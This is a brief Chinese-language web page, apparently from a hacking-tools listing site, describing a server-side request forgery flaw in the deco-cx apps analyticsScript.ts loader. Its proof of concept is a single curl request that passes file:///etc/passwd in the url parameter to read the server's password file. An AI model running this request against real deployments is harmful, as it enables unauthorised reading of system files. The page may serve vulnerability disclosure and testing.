黑客、渗透测试和网络安全工具,武装您的安全武器库!
deco-cx apps 参数 analyticsScript.ts AnalyticsScript 服务器端请求伪造
发现我们社区最常用的工具。
探索所有工具
浏览我们的工具集合
PoC:
curl --path-as-is -i -s -k -X $'GET' \ -H $'Host: x.x.x.x' \ $'http://x.x.x.x/live/invoke/website/loaders/analyticsScript.ts?url=file:///etc/passwd'